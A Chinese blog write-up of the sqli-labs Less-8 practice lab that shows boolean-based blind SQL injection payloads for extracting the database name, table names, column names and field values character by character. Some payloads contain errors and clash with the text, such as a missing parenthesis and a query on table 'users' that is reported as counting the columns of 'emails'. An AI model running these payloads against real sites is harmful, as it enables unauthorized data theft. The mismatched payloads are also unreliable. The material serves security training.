网络安全]sqli-labs Less-8 解题详析

简介: 网络安全]sqli-labs Less-8 解题详析

判断注入类型

由下图,可排除数字型注入:

初步判定为单引号字符型注入:


查库名

判断数据库名称长度

?id=1' and length(database())>7 --+ 回显error

?id=1' and length(database()>6 --+ 回显正常

数据库名称长度为7

获取数据库名称组成

判断第一个字符

?id=1' and ascii(substr(database(),1,1))>105 --+ 回显正常

?id=1' and ascii(substr(database(),1,1))=115 --+ 回显正常

故第一个字符为s

同理得到数据库名称为security


查表名

判断表个数

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database()) =4 --+

回显正常,说明有四个表。

获取表名称长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =6 --+

得到第一个表名称长度为6

获取表名称组成

对数据库中第一个表名的第一个字符进行 ASCII 值的比较:

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

回显正常,说明第一个字符为e

同理得到第一个表名称为emails


查列名

获取emails表的列数

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 --+

为3时回显正常,说明列数为3

获取列名长度

判断第一个列名长度

?id=1' and length(substr((select column_name from information_schema.columns where table_name= 'emails' limit 0,1),1))判断表达式 --+

得到第一个列名长度为2

获取emails表中第一个列名的第一个字符

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'emails' limit 0,1),1,1))判断表达式 --+

回显正常,故第一个列名的第一个字符为i

同理:第二个字符为d

所以emails表的其中一个列名为id


查字段

获取该列第一个字段长度

?id=1' and length(substr((select 列名 from 表名 limit 0,1),1))判断表达式 --+

故该列第一个字段长度为1

获取该字段中的第一个字符

?id=1' and ascii(substr((select 列名 from 表名 limit 0,1),1,1))判断表达式 --+

由下图可知第一个字符为 1 :


总结

以上为[网络安全]sqli-labs Less-8 解题详析,后续将分享[网络安全]sqli-labs Less-9 解题详析

原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析

我是秋说,我们下次见。

目录
相关文章
|
4月前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
253 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
4月前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
175 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
4月前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
172 0
|
4月前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
832 0
|
4月前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
384 0
|
4月前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
220 0
|
4月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
65 0
|
4月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
59 0
|
4月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
45 0
|
1天前
|
安全 网络安全 开发者
探索Python中的装饰器:简化代码,增强功能网络安全与信息安全:从漏洞到防护
【8月更文挑战第30天】本文通过深入浅出的方式介绍了Python中装饰器的概念、用法和高级应用。我们将从基础的装饰器定义开始,逐步深入到如何利用装饰器来改进代码结构,最后探讨其在Web框架中的应用。适合有一定Python基础的开发者阅读,旨在帮助读者更好地理解并运用装饰器来优化他们的代码。
下一篇
云函数